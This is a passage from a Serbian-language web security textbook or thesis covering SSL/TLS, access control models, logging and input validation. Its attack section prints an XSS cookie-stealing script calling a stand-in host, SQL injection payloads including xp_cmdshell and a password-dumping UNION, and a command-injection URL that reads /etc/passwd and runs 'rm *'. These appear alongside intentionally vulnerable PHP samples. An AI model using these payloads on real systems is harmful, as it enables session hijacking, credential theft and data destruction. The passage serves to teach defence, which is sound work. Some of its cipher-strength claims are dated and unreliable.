kao takav on se ugrađuje u sve komercijalne Web browsere i Web servere. Kako je
prvobitna verzija SSL-a tehnički bila vlasništvo Netscape-a, IETF (Internet Engeeniring
Task Force) je preuzeo odgovornost za razvoj i unapređenje SSL-a i preimenovao ga u
TLS (Transport Layer Security). Prva verzija TLS-a, verzija 3.1, sadrži samo neznatne
izmene u odnosu na originalni SSL. SSL pruža tri bezbednosne usluge pri transportu
podataka. To su:

•autentifikacija,
•poverljivost,
•integritet podataka.

16
 HTTPFTPSMTPSSL ili TSLTCPIP

Mesto SSL-a u okviru TCP/IP protokol steka

Kao što se vidi na slici socket nivo je logički nivo između transportnog i
aplikacionog nivoa u TCP/IP steku. Dakle, SSL radi na transportnom nivou neposredno
iznad TCP. To znači da ga mogu koristiti svi protokoli aplikacionog nivoa koji za
transport koriste TCP, a to su na primer HTTP, FTP, SMTP, POP3, IMAP, XMP RPC,
SOAP i drugi.

Nasuprot trvđenju koje se iznosi u mnogim marketingškim kampanjama, sam SSL

Web aplikaciju ne čini bezbednom. Fraza “sajt je 100% bezbedan, koristimo” dovodi u
zabludu. SSL pruža samo gore navadene usluge. SSL/TLS ne pruža nikakvu dodatnu
bezbednost nakon što podaci napuste IP stek na bilo kom kraju konekcije. Nedostatke pri
korišćenju SSL-a za sesijski transport nemoguće je otkloniti ili ublažiti upotrebom SSL-a.
SSL koristi i javne ključeve i simetričnu kriptografiju. Često se može čuti pojam SSL
setifikata. SSL sertifikat je u stvari X.509 sertifikat. Sertifikat je javni ključ kojeg je
potpisao neki drugi poverljivi korisnik (sa dodatnim informacijama radi dokaza njegove
validnosti).

Zbog jednostavnosti, oba protokola SSL i TLS, ćemo u daljem tekstu označavati
kao SSL.

3.3.1.Kako SSL i TLS rade?

SSL ima dva osnovna načina rada. Prvi je kada se uspostavi SSL tunel i jedino je
server autentifikovan, i drugi način kada su i server i klijent autentifikovani. U oba
slučaja SSL se uspostavlja pre nego što počne HTTP transkacija. SSL koristi kombinaciju
šifrovanja javnim ključem, simetričnog šifrovaja, kao i digitalnih sertifikata.

3.3.2.SSL pregovaranje sa autentifikacijom samo servera

SSL pregovaranje sa autentifikacijom samo servera je postupak od devet koraka.

1.Prvi korak u procesu je kada klijent šalje serveru «Client Hello» poruku. Ova
pozdravna poruka sadrži verziju SSL-a koju klijent podržava.
2.Server odgovara na pozdravnu poruku sa jednom od svojih poruka koja određuje
verziju SSL protokola, šifru i dužinu ključa koji će se koristiti prilikom
konverzacije, na osnovu ponuđenih vrednosti u okviru klijentske pozdravne
poruke.
3.Server šalje digitalni sertifikat klijentu na uvid. Većina modernih browsera
automatski proveravaju sertifikat (u zavisnosti od konfiguracije) i upozoravaju
korisnika ako isti nije validan.

17
 4.Server šalje «Server Done» poruku koja klijenta obaveštava da je server završio
početni deo inicijalne sekvence.
5.Klijent generiše simetričan ključ i šifruje ga koristeći serverov javni ključ.
6.Klijent šalje «Cipher Spec» poruku koja serveru govori da sva buduća komunikacija
treba da se vrši sa novim ključem.
7.Klijent sada šalje poruku o završetku koristeći novi ključ, pri čemu utvrđuje da li
server može takvu poruku da dekodira, te da li je pregovaranje bilo uspešno.
8.Server šalje «Change Cipher Spec» poruku koja klijentu govori da sva buduća
komunikacija treba da bude kriptovana.
9.Server šalje svoju «Finished» poruku kriptovanu sa novim ključem. Ako klijent
može da pročita ovakvu poruku, znači da je pregovaranje uspešno završeno.

3.3.3.SSL sa klijentskom i serverskom autentifikacijom

SSL pregovaranje sa obostranom autentifikacijom (sa klijentske i serverske strane) je

proces od dvanaest koraka. Dodatni koraci su:
4) Server šalje zahtev za sertifikat nakon slanja svog sertifikata.
6) Klijent dostavlja svoj sertifikat
8) Klijent šalje poruku o proverenom sertifikatu u koju kriptuje deo poznatog teksta
koristeći svoj tajni ključ. Server koristi klijentski sertifikat za dekriptovanje, i na
osnovu toga ustanovljava da klijent ima ispravan tajni ključ.

Centralno pitanje svakog postupka za šifrovanje je mogućnost njegovog

razbijanja, odnosno njegova snaga. Snaga postupka zavisi od primenjenog algoritma i
dužine ključa. Najjači trenutno dostupan algoritam koji se koristi u okviru SSL-a je triple
DES sa dužinom ključa od 128 bita. Drugi takođe vrlo snažan i zbog svoje brzine najviše
rasprostranjen protokol je RC4 koji ima dužinu ključa od 128 bita.

18
 4.KONTROLA PRISTUPA I AUTORIZACIJA
Mehanizmi kontrole pristupa su neophodan i ključni element pri projektovanju
bezbednosti svake Web aplikacije. Uopšteno gledano, Web aplikacija bi trebalo da štiti
front-end i back-end podatke, kao i sistemske resurse ograničavanjem korisnikovih
radnji, ograničavanjem pristupa resursima i ograničavanjem funkcija koje korisnik vrši
nad podacima. U idealnom slučaju, kontrola pristupa bi trebalo da zaštiti podatke od
neautorizovanog gledanja, menjanja i kopiranja.

Pojmovi autorizacije i kontrole pristupa često se greškom zamenjuju. Autorizacija

podrazumeva proveru da se vidi da li korisnik ima odgovarajuću dozvolu da pristupi
određenom fajlu ili da izvrši određenu akciju, pod pretpostavkom da se prethodno
uspešno autentifikovao. Autorizacija zavisi od specifičnih pravila liste kontrole pristupa
koju unapred određuju administratori Web aplikacije ili vlasnici podataka. Tipična
provera autorizacije uključuje ispitivanje članstva u određenoj grupi korisnika,
posedovanje odgovarajućeg odobrenja, ili prisustvo korisnika na listi odobrenih korisnika
resursa. Svaki mehanizam kontrole pristupa koji se koristi za autorizaciju, neposredno
zavisi od efikasnih i zaštićenih kontrola autentifikacije. Kontrola pristupa odnosi se
sveobuhvatniji način kontrolisanja pristupa Web resursima, uključujući ograničenja
zasnovana na faktorima kao što su doba dana, IP adresa HTTP klijent browsera, domen
HTTP klijent browsera, tip enkripcije koju HTTP klijent može da podrži, broj
autetifikacija datog korisnika tog dana, posedovanje određenog broja hardverskih/
softverskih tokena, ili neka izvedena promenjiva koja se može sa lakoćom obraditi.

U sferi bezbednosti informacionih sistema postoji obilje prihvaćenih modela

kontrole pristupa. Mnogi od njih sadrže aspekte koji ih čine primenjivim u oblasti Web
aplikacija. Uspešan mehanizam kontrole pristupa predstavljaće kombinaciju sledećih
modela i biće upotrebljiv ne samo za upravljanje korisničkim nalozima, već i za razvoj i
integraciju odrećenih funkcija aplikacije.

4.1.Diskretna kontrola pristupa

Diskretna kontrola pristupa (DAC) podrazumeva ograničavanje pristupa
informacijama na osnovu identiteta korisnika i pripadnosti određenim grupama. Odluka o
pristupu je zasnovana na autorizaciji datoj korisniku na osnovu njegovih akreditiva
(username, lozinka, hardverski/softverski token itd.) u trenutku autentifikacije. U većini
DAC modela, vlasnik informacija i resursa je u mogućnosti da menja svoje dozvole po
svom nahođenju. Loša strana DAC-a je to što administrator nije u mogućnosti da
centralno menja dozvole nad fajlovima/podacima smeštenim na Web serveru. DAC
model kontrole pristupa često ispoljava jednu ili više od sledećih osobina:
-vlasnici podataka mogu međusobno da razmenjuju vlasništvo nad podacima sa
ostalim korisnicima,
-vlasnici podataka mogu da odrede vrstu pristupa datu ostalim korisnicima (read,
write, copy, itd.),
-višestruko neuspešno ponavljanje pokušaja autorizacije pristupa istom resursu ili
objektu generiše alarm i/ili ograničava korisnikov pristup,

19
 -specijalni add-on ili plug-in softver potreban HTTP klijentu da bi se korisniku
onemogućilo neselektivno kopiranje (copy i paste),
-korisnici koji nemaju pristup podacima ne bi trebalo da imaju mogućnost da menjaju
atribute tih podataka (veličinu fajla, ime fajla, putanju direktorijuma itd.)
-pristup informacijama je određen na osnovu liste kontrole pristupa koja se oslanja na
idedntifikatore korisnika i na pripadanje korisnika određenim grupama.

4.2.Obavezna (Mandatory) kontrola pristupa

Kod obavezne kontrole pristupa (MAC) sprovođenje bezbednosnih normi ne
zavisi od samog korisnika Web aplikacije. MAC obezbeđuje informacije dodeljivanjem
oznake osetljivosti informacijama i poređenjem nivoa osetljivosti koji je odobren
korisniku. Uopšteno govoreći, MAC mehanizmi kontrole pristupa su sigurniji od ostalih
mehanizama uz ustupak na račun performansi i udobnosti korisnika pri radu. MAC
mehanizmi dodeljuju sigurnosni nivo svim informacijama, sigurnosno odobrenje svakom
korisniku, i obebzbeđuju da svaki korisnik ima pristup samo onim informacijama za koje
ima odobrenje. MAC je pogodan za upotrebu u sistemima izuzetno velike sigurnosti
uključujući vojne aplikacije sa više nivoa sigurnosti. MAC model kontrole pristupa često
ispoljava sledeće osobine:
-isključivo administratori, a ne i vlasnici podataka, mogu da menjaju sigurnosnu
oznaku resursa,
-svim podacima je dodeljen sigurnosni nivo,
-svi korisnici mogu da čitaju podatke niže poverljivosti od one što je korisnicima
dodeljena ("poverljivi" korisnik može da čita dokumente koji nisu poverljivi),
-svi korisnici mogu da pišu dokumente veće poverljivosti nego što im je dodeljena
("poverljivi" korisnik može da proglasi informaciju strogo poverljivom),
-svim korisnicima je dozvoljeno čitanje/pisanje nad dokumentima iste poverljivosti
koja im je dodeljena ("poverljivi" korisnik ima čitaj/piši pristup samo nad
poverljivim dokumentom),
-pristup je autorizovan ili ograničen objektima u zavisnosti od doba dana u skladu sa
sigurnosnim oznakama resursa i akreditivima korisnika,
-pristup je autorizovan ili ograničen objektima u zavisnosti od sigurnosnih
karakterstika HTTP klijenta (npr. SSL dužina bita, informacije o verziji, IP adresa
ili domen, itd.).

4.3.Kontrola pristupa zasnovana na ulogama (RBAC)

Kod kontrole pristupa zasnovane na ulogama odluke su zasnovane na
korisnikovim individualnim ulogama i odgovornostima unutar organizacije ili korisničke
baze. Proces definisanja uloga zasnovan je na analiziranju fundamentalnih ciljeva i
strukture organizacije i obično je povezano sa bezbednosnim normama. Na primer, u
zdravstvenim organizacijama uloge koje imaju korisnici mogu biti doktor, sestra, pacijent
itd. Očigledno, ovi korisnici zahtevaju različite nivoe pristupa pri vršenju svojih funkcija,
ali i tipovi Web transakcija kao i njihov dozvoljeni sadržaj u varira u zavisnosti od
bezbednosnih normi i relevantnih pravila.

20
 RBAC metod kontrole pristupa treba da administatorima Web aplikacija da
mogućnost određivanja ko može da vrši koju akciju, kada, odakle, kojim redosledom i
pod kojim relacionim okolnostima. RBAC model kontrole pristupa pokazuje sledeće
osobine:
-uloge se dodeljuju u zavisnosti od organizacione strukture sa naglaskom na
organizacione bezbednosne norme,
-uloge dodeljuje administrator na osnovu relativnih odnosa unutar organizacije ili
korisničke baze,
-svaka uloga označava profil koji uključuje sve autorizovane komande, transakcije,
dozvoljen pristup informacijama, itd.
-ulogama su dodeljena odobrenja po principu najmanje privilegije,
-uloge se aktiviraju statički i dinamički u skladu sa odgovaarajućim relacionim
trigerima (upit za help, bezbednosni alarm, iniciranje novog projekta, itd.),
-ulogama centralno upravlja administrator ili vođa projekta.

21
 5.PRAĆENJE RADA - Event Logging
Logging je neophodan za dobijanje ključnih informacija o bezbednosti, koje se
odnose na Web aplikaciju i njene prateće procese. Stvaranje detaljnih log zapisa o
pristupu i transakcijama je važno iz više razloga:
-log zapisi su često jedini zapis koji ukazuje da postoji sumnjivo ponašanje, i u nekim
slučajevima se mogu u realnom vremenu diretko unositi u sisteme za
deteketovanje neovlašćenog upada,
-log zapisi omogućuju uvođenje individulne odgovornosti praćenjem korisnikovih
akcija,
-log zapisi su korisni prilikom rekonstrukcije događaja nakon pojave problema,
vezanih za bezbednost ili problema uopšte. Rekonstrukcija događaja daje
bezbednosnom administratoru potpun uvid u sve aktivnosti uljeza.
-log zapisi su neretko opotrebljavaju u sudskim procesima kao dokaz zloupotrebe. U
ovom slučaju obrada log zapisa je od klujčne važnosti.

Nedostatak ili neadekvatna upotreba mehanizama za stvaranje log zapisa

umanjuje mogućnost otkrivanja neautorizovanih pokušaja pristupa i ne pruža informaciju
koji su od tih pokušaja bili uspešni.

5.1.Šta uneti u log zapis

Uopšteno govoreći, stvaranje log zapisa treba da obuhvati infomacije korisne za
otklanjanje grešaka, kao što su vreme događaja, iniciranje, poreklo, kao i detaljan opis
procesa. Preporučljivo je beležiti sledeće tipove događaja u aplikacijama:
-čitanje podataka,
-upis podataka,
-izmena bilo kakvih karakteristika podataka, treba da bude obuvhaćena logom,
uključujući dozvole ili oznake kontrole pristupa, lokacija u okviru baza podataka
ili vlasništvo nad podacima,
-u slučaju brisanja bilo kakih podataka treba napraviti log zapis,
-za mrežnu komunikaciju treba napraviti log u svakoj tački komunikacije (bind,
connect, accept, itd.),
-sve događaje vezane za autentifikaciju (logovanje, odjavljivanje, neuspelo logovanje,
itd.),
-svi neautorizovani pokušaji treba sadrže vreme, informaciju o uspešnosti, resurse ili
funkcije koje su bile autorizovane kao i identifikaciju korisnika koji je pokušao
autorizaciju,
-sve administativne funkcije (rad sa korisničkim nalozima, razgledanje korisničkih
podataka, omogućavanje i onemogućavanje logovanja, itd.)
-raznovrsne informacije vezane za otklanjanje grešaka.

22
5.2.Obrada log zapisa
Efikasna obrada i skadištenje log zapisa je važna za pravilno korišćenje
mogućnosti Web servera i aplikacija koje se odnose na logging. Nepravilna obrada i
skladištenje informacija od strane mehanizama za logging može dovesti do gubitka ovih
podataka i njihove neupotrebljivosti za dalje naknadne analize ili ih učiniti pravno
neupotrebljivim. U idealnom slučaju log zapise bi trebalo prikupljati i organizovati na
posebno dodeljenom logging hostu. Mrežne konekcije, kao i sadržaj log zapisa trebalo bi
enkriptovati tako da se zaštiti poverljivost i integritet podataka koliko je to moguće.

Atributi log zapisa treba da budu takvi da je moguće samo dodavanje novih
informacija (stari unosi ne mogu se prepravljati ili brisati). U skladu sa prethodnim, log
zapise bi trebalo skladištiti na uređajima koji omogućuju jedan upis i više isčitavanja, kao
što je CD-R.

Kopije log zapisa bi trebalo praviti u pravilnim vremenskim intervalima u

zavisnosti od količine podataka u logu i same njegove veličina (dnevno, nedeljno,
mesečno itd). Radi lakšeg indeksiranja potrebno je usvojiti konvenciju u nazivima log
zapisa. Log fajlove bi trebalo kopirati i skladištiti na trajne medijume i čuvati u skladu sa
opštim pravilima vaše organizacije o bekapovanju. Log fajlove i medijume na kojima se
oni nalaze treba brisati i uništavati u skladu sa politikom vaše organizacije za odlaganje i
uništavanje medija bezbednosno osetljivog sadržaja. Potrebno je praviti izveštaje
uključujući izveštaje o greškama i o detektovanim anomalijama.

Log zapisi se mogu unositi u realnom vremenu u sistem za detekciju upada, kao i
u alatke za nadzor sistema i performansi. Sve komponente logovanja treba da budu
sinhronizovane sa vremenskim serverom , tako da svi log zapisi mogu biti obrađeni bez
grešaka usled kašnjenja. Ovaj vremenski server treba da bude dodatno zaštićen i ne treba
da pruža nikakve dodatne usluge unutar mreže.

23
 6.VALIDACIJA PODATAKA
Najveći deo napada na sistem se može sprečiti, ili se opasnost od njihove pojave
može značajno smanjiti odgovarajućom validacijom podataka.Validacija podataka je
jedan od ključnih aspekata pri projektovanju Web aplikacije. Kada govorima o validaciji
podataka mislimo kako na unos podataka u aplikaciju, tako i na «skidanje» podataka sa
aplikacije.

6.1.Strategije validacije
Strategija validacije podataka je usko povezana sa arhitekturom same aplikacije.
Ako je aplikacija već u postupku izrade, projektovanje optimalne arhitekture biće znatno
teže nego u slučaju kada je aplikacija tek u fazi projektovanja. U slučaju da sistem
zahteva tipičan sistematičan pristup u pružanju osnovnih usluga, tada jedna od
komponenti može da filtrira sve ulaze i izlaze, i na taj način optimizuje pravila i smanji
trud.

Postoje tri osnovna modela koja se razmatraju prilikom projektovanja strategije

validacije podataka:
-prihvatanje samo onih podataka za koje se zna da su validni,
-odbacivanje podataka za koje se zna da nisu validni,
-saniraranje podataka koji nisu validni.

Treba istaći da je prva strategija daleko najbolja. Moramo priznati da ona nije
uvek izvodljiva zbog finansijskih ili tehničkih razloga, tako da ćemo opisati i druge dve
strategije.

Sve tri metode treba da provere:

-tip podataka,
-sintaksu,
-dužinu.

Provera tipa podataka je od izuzetne važnosti. Na primer, aplikacija treba da

proveri da li su poslati brojni podaci a ne stringovi.

6.1.1.Prihvati samo poznate validne podatke

Kao što je rečeno, ovo je najpoželjniji način validacije podataka. Aplikacija
prihvata samo očekivani unos, za koji se zna da je bezbedan. Na primer, pretpostavimo
sistem za postavljanje uzima username kao ulaz. Validno korisničko ime se može
definisati kao skup ASCII karaktera A-Z i 0-9. Aplikacija treba da proveri da li se ulazni
string sadrži od karaktera A-Z i 0-9 i da li njegova dužina ne prelazi dozvoljenu.

24
 6.1.2.Odbaci podatke za koje se zna da nisu validni
Ova strategija je zasnovana na činjenici da je aplikacija upoznata sa specifičnim
malicioznim paketima. Iako je tačno da ovakva strategija može da ograniči otkrivanje,
veoma je teško održavati ažurnom bazu podataka koja sadrži podatke o karakteristikama
napada na Web aplikacije.

6.1.3.Saniraj sve podatke

Pokušaj da se loši podaci učine bezopasnim je efikasan kao pomoćna metoda
odbrane, posebno kada je kombinovana sa obacivanjem podataka koji nisu validni.
Međutim, kako je opisano u prethodnom paragrafu, ovakav način je izuzetno težak i ne
treba ga koristiti kao osnovno sredstvo zaštite.

6.2.Nikada se ne oslanjati na validaciju podataka sa strane klijenta

Validacija sa strane klijenta uvek može biti premošćena. Validacija svih podataka
mora se obavljati na poverljivom serveru ili pod kontrolom aplikacije. U slučaju
validacije podataka sa strane klijenta, napadač može da prati povratne vrednosti, te da ih
menja po svojoj volji. Ovo izgleda iznenađujuće jednostavno, pa ipak, mnogo sajtova još
uvek vrši validaciju korisnika, uključujući logovanje, koristeći samo kod sa strane
klijenta, kao što je JavaScript. Validacija sa strane klijenta, sa strane jednostavnosti i
lakoće upotrebe, je prihvatljiva, ali se ne može smatrati pravim postupkom validacije.
Svaka validacija trebalo bi da se odvija isključivo na strani servera, a da se na strani
klijenta izvršava samo površna kontrola.

25
 7.BEZBEDNOSNI PROBLEMI PRI RADU WEB
APLIKACIJA
7.1.Napadi na korisnike
7.1.1.Cross-site scripting

Cross-site scripting je privukao veliku pažnju javnosti. Ime potiče od CERT

saveta, CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web
Requests (http://www.cert.org/advisories/CA-2000-02.html). Napadi se uvek odnose na
korisnike sistema, a nikada na sam sistem. Naravno, ako je korisnik administrator sistema
to je sasvim druga priča. Sam postupak napada biće predstavljen preko sledećeg primera.

Korisnik se prevarom navodi da napravi specifičan i pažljivo projektovan HTTP

zahtev. Napadač je prethodno otkrio aplikaciju koja ne filtrira ulaz, te će vratiti korisniku
traženu stranicu sa dodatim malicioznim kodom koji je dodat sa zahtevom. Kada Web
server primi zahtev za stranicom on šalje traženu stranicu zajedno sa delom koda koji je
tražen. Kada korisnikov browser primi novu stranicu, maliciozni kod se raspakuje i
izvršava.

Moderni skript jezici, koji se izvršavaju sa klijentske strane, više ne vrše samo
formatiranje strana, nego su sposobni da izvršavaju veći broj akcija. Klijenti prevarom
mogu biti uvučeni u izvršavanje većeg broja različitih funkcija što može biti opasno. Ako
napadač odabere Web aplikaciju za koju je korisnik autentifikovan, skript može da vrši
funkcije u ime korisnika.

Napad se odvija na taj način da napadač, kroz propuste u samom skriptu, preko
Web servera, korisniku (koji je meta napada) pošalje stranicu koju je korisnik i zahtevao,
međutim, koja je ujedno i zaražena malicioznim kodom. Maliciozni kod se tada pokreće
uz odobrenje legalnog skripta poslatog sa legitimnog Web servera.

Kroz sledeći primer biće prikazani mogući propusti u PHP aplikacijama koji
dozvoljavaju CSS napade. Pretpostavka je da je korisnik prošao fazu autentifikacije i
sesija je započeta, tako da korisnik poseduje validni sesijski token. Korisnik upotrebljava
Web aplikaciju namenjenu pregledanju elektronske pošte. Ukoliko se prilikom ispisa
naslova svake pojedine poruke, on ispisuje bez proveravanja, postoji mogućnost CSS
napada. Deo koda namenjen za ispis je:
<?php
echo "<TD>". $naslov. "</TD>";
?>

U ovom slučaju napadač može naslovu poruke elektronske pošte pridružiti

JavaScript kod koji je dizajniran da otuđi korisnikov sesijski token. Kada korisnik zatraži
stranicu koja ispisuje poruke elektronske pošte, JavaScript kod će se automatski
pokrenuti i preusmeriti korisnika na specificiranu URL adresu, zajedno sa sesijskim

26
tokenom. Napadač mora proveriti zapise koji su pristigli na ovakav načini i može preuzeti
korisničku sesiju. JavaScript kod koji bi omogućio opisan način napada mogao bi
izgledati ovako:
<script>
self.location.href=http://www.nesiguran.com/getCookie?cookies=+escape(document.
cookie)
</script>

Mitigation Techniques (tehnike ublažavanja)

Sprečavanje cross site scriptinga je zahtevan zadatak posebno za široko

distribuirane Web aplikacije. Sa stanovišta arhitekture, ako svi zahtevi dolaze na
centralnu lokaciju i odlaze sa centralne lokacije, problem je lakše rešiti opštom
komponentom.

Ako prihvatite preporučenu strategiju validacije, tj. prihvata se samo očekivan

ulaz, problem se znatno smanjuje (osim u slučaju kada je potrebno da HTML bude ulaz).
Moramo naglasiti da je ova strategija daleko najbolja.

U PHP-u, ovakva ranjivost bi se mogla ispraviti upotrebom htmlspecialchars()

funkcije, koja konvertuje specijalne karaktere u HTML entitete. U ovom konkretnom
primeru, biće konvertovani karakteri < i > u njihove odgovarajuće entitete: &lt i &gt.
Prilikom učitavanja Web stranice ništa se neće dogoditi jer će ovi entiteti korisnikovom
Web browseru ukazivati na običan tekst a ne specijalne karaktere.
http://www.cert.org/tech_tips/malicious_code_mitigation.html

27
7.2.Napadi na sistem

7.2.1.Direktne SQL naredbe

Kod nekih aplikacija se ne vrši validacija korisničkog unosa, što znači da je

zlonamernom korisniku omogućen direktan pristup bazi podataka. Ovakav napad, poznat
kao SQL injection, je iznenađujuće jednostavan. Pretpostavimo da Web aplikacija dopušta
korisniku izmenu lozinke, što je slučaj sa većinom Web aplikacija. Korisnik se loguje i
kreće kroz stranicu sa opcijama za korisnčki nalog, odabira promenu lozinke, zatim unosi
staru i novu lozinku, dva puta zbog sigurnosti . Korisniku je naizgled ovo sasvim jasan
proces. Kada korisnik unese staru i dva puta novu lozinku u Web obrazac, browser
upućuje HTTP zahtev Web aplikaciji i šalje joj podatke. Zbog zaštite podataka u tranzitu,
ovo bi trebalo da se vrši preko SSL-a. Tipičan kod za autentifikaciju bi izgledao ovako:
$sql="SELECT * FROM users WHERE username='$username' AND password='$password'";
$res = $conn->Execute($sql);
if ($res->RecordCount()==0)
$boolAuthenticated=false;
else
$boolAuthenticated=true;

Korisnik je preko forme poslao serveru svoje korisničko ime i lozinku koji se
unose u SQL upit i prosleđuju bazi podataka. U bazi podataka se proverava da li postoji
slog koji sadrži zadate akreditive. U slučaju da postoji, korisnik je prošao autentifikaciju.

Ukoliko je korisnik u formu za autentifikaciju uneo sledeći kod:

Korisničko ime: ' OR '1'='1
Lozinka: ' OR '1'='1

Vrednost promenljive $sql će biti:

$sql="SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR
'1'='1'";

Što znači da će aplikacija smatrati korisnika autentifikovanim jer je uslov '1'='1'

uvek ispunjen.

Posledice su razarajuće. Napadač je u mogućnosti da menja administratorske

lozinke po svom nahođenju, onemogućavajući pristup pravim vlasnicima sistema i
otvarajući sebi neograničen pristup. Loše projektovana Web aplikacija omogućava
hakerima da proizvoljno skidaju prvobitni i postavljaju svoj sadržaj na službenim
sistemima. U prethodnom primeru upotrebljena je tehnika ubacivanja dodatnog upita na
prvobitni upit bazi podataka. SQL injection može da se upotrebi i za:
-izmenu SQL vrednosti,
-proširivanje SQL izraza,
-dodavanje funkcija poziva i procedura za skladištenje postojećim SQL naredbama,
-modifikacija izlaznih podataka.

28
Izmena SQL vrednosti:
UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';

Maliciozni HTTP zahtev:

http://www.none.to/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--%

Proširivanje SQL naredbi:

SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Maliciozni HTTP zahtev:

http://www.none.to/script?0';insert+into+pg_shadow+usename+values+('hosch
i')

Dodavanje funkcija poziva i procedura za skladištenje postojećim SQL naredbama

SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Maliciozni HTTP zahtev:

http://www.none.to/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c)

Modifikacija izlaznih podataka:

SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size =

Maliciozni HTTP zahtev:

http://www.none.to/script?size=0'+union+select+'1','1','1',concat(uname||
'-'||passwd)+as+i_name+'1'+'

Tehnike ublažavanja

Sprečavanje SQL injection-a je zahtevan zadatak posebno za velike Web sisteme,

sastavljene iz više aplikacija. Filtriranje SQL naredbi neposredno pre izvršavanja
smanjuje rizik od pogrešnog filtriranja. Primena preporučene strategije za validaciju
ulaznih podataka značajno smanjuje problem, međutim ovakav pristup ne može da
zaustavi sve SQL injection napade. Pored toga mogu se javiti teškoće pri implementaciji
u slučaju kada algoritam filtriranja treba da odluči da li dotični podaci treba da postanu
deo upita ili ne, a potrebno je da algoritam prepozna na koju bazu podataka se takav upit
odnosi. Na primer, korisnik koji u obrazac unese prezime “O’Neil” ujedno unosi i
specijalan metakarakter (’). Unos ovakvog karaktera mora biti dozvoljen pošto je to
sastavni deo imena. Međutim, ne može se dozvoliti da ovakav karakter postane deo upita
za bazu podataka, te njegovo izbegavanje može biti neophodno. Različite baze podataka
zahtevaju da se različiti karakteri izbegavaju na razne načine, te je potrebno za svaku
bazu poznavati karaktere koje je potrebno sanirati.

Korisni linkovi:

29
http://www.sqlsecurity.com/faq-inj.asp
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

7.2.2.Direktne OS naredbe

Skoro svi programski jezici dopuštaju upotrebu tzv. sistemskih naredbi, pa i kod
mnogih aplikacija sreće se ovakva funkcionalnost. Sistemski interfejs u programskom i
skript jeziku prepušta unos (naredbe) samom operativnom sistemu. Operativni sistem
izvršava dati unos i vraća odgovarajući izlaz na stdout zajedno sa različitim povratnim
kodovima kao što su “uspešno”, “neuspešno”, itd.

Sistemske naredbe mogu da budu veoma ugodna alatka za rad, koje se uz malo
truda mogu integrisati u aplikaciju . Najčešća primena ovih naredbi u Web aplikacijama
je manipulacija fajlovima (uklanjanje, kopiranje), slanje email-ova i pozivanje alatki
operativnog sistema u cilju različitih izmena na ulazu i izlazu (filtriranje) aplikacija.

Izvršavanje spoljšnjih programa sa imenima ili argumentima specificiranim od

strane korisnika je najbolja ilustracija direktne štete koju neovlašćeni korisnik može
izazvati pozivom direktnih OS naredbi. Funkcije koje se koriste u PHP skript jeziku
prilikom poziva spoljašnjih programa su sledeće:
•exec() - izvršava naredbu u argumentu i vraća zadnju liniju izlaza programa,
•passthru() - izvršava naredbu u argumentu i vraća sav generisani izlaz programa
direktno u udaljeni Web browser,
•system() - kao i passthru (), ali ne podržava binarne podatke,
•popen() - izvršava naredbu u argumentu.

Nekad je poziv spoljašnjih programa neophodan, međutim ove funkcije predstavljaju

vrlo visok bezbednosni rizik u kombinaciji s korisničkim unosom. U uputstvima za PHP
jezik, koje se odnose na ove funkcije, stoji upozorenje da ukoliko se funkcijama predaju
podaci uneseni od strane korisnika, potrebno je koristiti escapeshellarg() ili
escapeshellcmd() funkcije.

Poziv funkcije system($unos_korisnika) je nesiguran jer dozvoljava korisniku da

izvršava proizvoljne naredbe na Web serveru. Dalje, poziv funkcije poput:
exec ('program'` , $arg_korisnika);

dozvoljava korisniku upotrebu znakova koji imaju specijalno značenje. Ovakvi

pozivi su vrlo opasni jer PHP uvek prosleđuje ovakve nizove direktno na izvršavanje.

U sledećem primeru prikazano je nepravilno korišćenje popen() funkcije:

<?php
$f = popen(`/usr/sbin/sendmail -i`. $to, w);
?>

30
Korisnik može kontrolisati sadržaj promenljive $to kroz sledeći upit:
http://www.primer.com/posalji.php?to=korisnik%40nesiguran.com+%3C+% 2Fpass
wd%3B+rm+%2A

Što rezultuje pokretanje sledeće naredbe:

/usr/sbin/sendmail -i korisnik@nesiguran.com /etc/passwd; rm *

Kreativniji napadači mogu čak napisati i virus, pa ga na ovaj način ubaciti u sistem.
Rešenje ovog problema je pažljivo filtriranje korisničkog unosa pre predavanja koda
interpreteru. Upravo zato je neophodno korištenje escapeshellarg() i escapeshellcmd()
funkcija. Konkretno rešenje prethodnog primera bilo bi:
<?php
$f = popen (`/usr/sbin/sendmail -i`. escapeshellarg($to) , w);
?>

7.2.3.Otkrivanje putanje dokumenta

Mnoge Web aplikacije koriste sistemske fajlove Web servera da bi privremeno

i/ili trajno skladištile informacije. WWW-ROOT je tipičan virtualni direktorijum u Web
serveru koji je dostupan HTTP klijentu. Web aplikacije mogu da skladište podatke u i/ili
van WWW-ROOT direktorijuma u za to predviđenim lokacijama.

Ako aplikacija ne vrši pravilno proveru i obradu meta-karaktera za opis putanje

(path) npr. “../” moguće je da je aplikacija osetljiva na “path traversal” napad. Napadač
može da izradi maliciozan zahtev za podacima o fizičkoj lokaciji fajlova kao što su
/etc/passwd itd. Ovo se često naziva kao ranjivost “otkrivanja fajlova”. Napadač može
isto tako da upotrebi ove osobine za stvaranje specijalno pravljenih URL-a. Path
traversal napadi se obično koriste zajedno sa napadima poput direktnih OS naredbi ili
direktnih SQL injection.

7.2.4.Uključivanje udaljenih datoteka

Mnogi skript i progragmski jezici omogućavaju uključivanje u programski kod

lokalnih i udaljenih datoteka. U PHP-u se to vrši uz pomoć include(), include_once() ,
require() i require_once() funkcija. Ove funkcije kao argument uzimaju naziv datoteke, te
ih parsuju kao PHP kod. Ova mogućnost dozvoljava, na primer, odvajanje datoteka koje
služe za klase, kod koji se često koristi, itd. Uveliko pomažu i pri održavanju i čitljivosti
koda. Koncept uključivanja udaljenih datoteka je vrlo opasan, jer dozvoljava ubacivanje
nepoznatog i moguće opasnog koda direktno u programski kod.

U sledećem primeru uključivanje datoteke zavisi od korisničkog unosa. Skript

ima više HTML datoteka te se kroz promenljivu $stranica vrši njihovo prikazivanje
zavisno od odabranog redosleda:

31
<?php
include($stranica);
?>

